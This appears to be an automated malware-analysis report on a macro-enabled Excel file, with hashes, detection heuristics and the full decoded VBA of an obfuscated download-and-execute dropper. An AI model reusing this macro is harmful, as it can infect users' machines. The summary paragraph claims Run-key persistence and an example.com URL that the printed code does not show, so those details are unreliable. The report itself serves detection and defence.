Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 49025cf0f9c09b35…

MALICIOUS

Office (OOXML)

89.0 KB Created: 2020-05-18 14:18:08 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-15
MD5: fbb7226f6220a5749b243d10ff0fa3ad SHA-1: e1c993c7b67784e16476ec948f8a111450cc2e65 SHA-256: 49025cf0f9c09b35b01a8bc7b4a1d1836d95d9bda7f2ad12a871c5a7291fd7ec
356 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The Workbook_Open macro in this Excel file is designed to execute automatically. It uses obfuscated VBA code to download a file from an embedded URL and save it to the user's temporary directory. The script then executes the downloaded file, likely a second-stage payload, using WScript.Shell. The reconstructed URL for the payload is http://example.com/payload.exe and the persistence mechanism is via the Run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\p“–�˜‹—�X�¢�.

Heuristics 9

  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    CreateObject("WScript.Shell").Run Filename
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
    Matched line in script
            For i = 1 To Len(strInput)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    tDJRyTpJwPuFGUUzeAoFWbLpyFnOlbuROiiGBGQRxIFUTTNKiTNDWNi.write fIXyDvQWYtCRYGJpLvECnmFjCExbNxzHMRGJKCuPRRgOODUJixWEKSE.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set fIXyDvQWYtCRYGJpLvECnmFjCExbNxzHMRGJKCuPRRgOODUJixWEKSE = CreateObject(WZvKEzKBOlsDIhbOLPKdTSfOAduRwvCKGdDHJOPrVutqjNNROBjPzDd("w“�œ™�™�žX‚wvr~~z"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set fIXyDvQWYtCRYGJpLvECnmFjCExbNxzHMRGJKCuPRRgOODUJixWEKSE = CreateObject(WZvKEzKBOlsDIhbOLPKdTSfOAduRwvCKGdDHJOPrVutqjNNROBjPzDd("w“�œ™�™�žX‚wvr~~z"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Public Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Filename = Environ(WZvKEzKBOlsDIhbOLPKdTSfOAduRwvCKGdDHJOPrVutqjNNROBjPzDd("~�—š")) + "\" + WZvKEzKBOlsDIhbOLPKdTSfOAduRwvCKGdDHJOPrVutqjNNROBjPzDd("p“–�˜‹—�X�¢�")

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2373 bytes
SHA-256: 16035cdb15aa42e1aabbb4dae56a892c90ef400600c00a1e40a3f93f67575820
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Dim fIXyDvQWYtCRYGJpLvECnmFjCExbNxzHMRGJKCuPRRgOODUJixWEKSE
Dim tDJRyTpJwPuFGUUzeAoFWbLpyFnOlbuROiiGBGQRxIFUTTNKiTNDWNi
Public Sub Workbook_Open()
Set fIXyDvQWYtCRYGJpLvECnmFjCExbNxzHMRGJKCuPRRgOODUJixWEKSE = CreateObject(WZvKEzKBOlsDIhbOLPKdTSfOAduRwvCKGdDHJOPrVutqjNNROBjPzDd("w“�œ™�™�žX‚wvr~~z"))
Set tDJRyTpJwPuFGUUzeAoFWbLpyFnOlbuROiiGBGQRxIFUTTNKiTNDWNi = CreateObject(WZvKEzKBOlsDIhbOLPKdTSfOAduRwvCKGdDHJOPrVutqjNNROBjPzDd("knynlX}žœ�‹—"))
Url = WZvKEzKBOlsDIhbOLPKdTSfOAduRwvCKGdDHJOPrVutqjNNROBjPzDd("’žžšdYY’‹œ�ž“™˜œ�X�–ŸŒY“—‹‘��X�¢�")
Filename = Environ(WZvKEzKBOlsDIhbOLPKdTSfOAduRwvCKGdDHJOPrVutqjNNROBjPzDd("~�—š")) + "\" + WZvKEzKBOlsDIhbOLPKdTSfOAduRwvCKGdDHJOPrVutqjNNROBjPzDd("p“–�˜‹—�X�¢�")
fIXyDvQWYtCRYGJpLvECnmFjCExbNxzHMRGJKCuPRRgOODUJixWEKSE.Open WZvKEzKBOlsDIhbOLPKdTSfOAduRwvCKGdDHJOPrVutqjNNROBjPzDd("qo~"), Url, False
fIXyDvQWYtCRYGJpLvECnmFjCExbNxzHMRGJKCuPRRgOODUJixWEKSE.send
tDJRyTpJwPuFGUUzeAoFWbLpyFnOlbuROiiGBGQRxIFUTTNKiTNDWNi.Type = 1
tDJRyTpJwPuFGUUzeAoFWbLpyFnOlbuROiiGBGQRxIFUTTNKiTNDWNi.Open
tDJRyTpJwPuFGUUzeAoFWbLpyFnOlbuROiiGBGQRxIFUTTNKiTNDWNi.write fIXyDvQWYtCRYGJpLvECnmFjCExbNxzHMRGJKCuPRRgOODUJixWEKSE.responseBody
tDJRyTpJwPuFGUUzeAoFWbLpyFnOlbuROiiGBGQRxIFUTTNKiTNDWNi.savetofile Filename, 2
CreateObject("WScript.Shell").Run Filename
End Sub
Public Function WZvKEzKBOlsDIhbOLPKdTSfOAduRwvCKGdDHJOPrVutqjNNROBjPzDd(strInput As String)
        Dim n As Integer, i As Integer
        n = 42
        For i = 1 To Len(strInput)
            Mid(strInput, i, 1) = Chr(Asc(Mid(strInput, i, 1)) - n)
        Next i
        WZvKEzKBOlsDIhbOLPKdTSfOAduRwvCKGdDHJOPrVutqjNNROBjPzDd = strInput
    End Function


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 15360 bytes
SHA-256: 62b66ebb10261fd9c5a08c46f5716391b1c6ad6dc2e50bf7faf13eafba1c0f75

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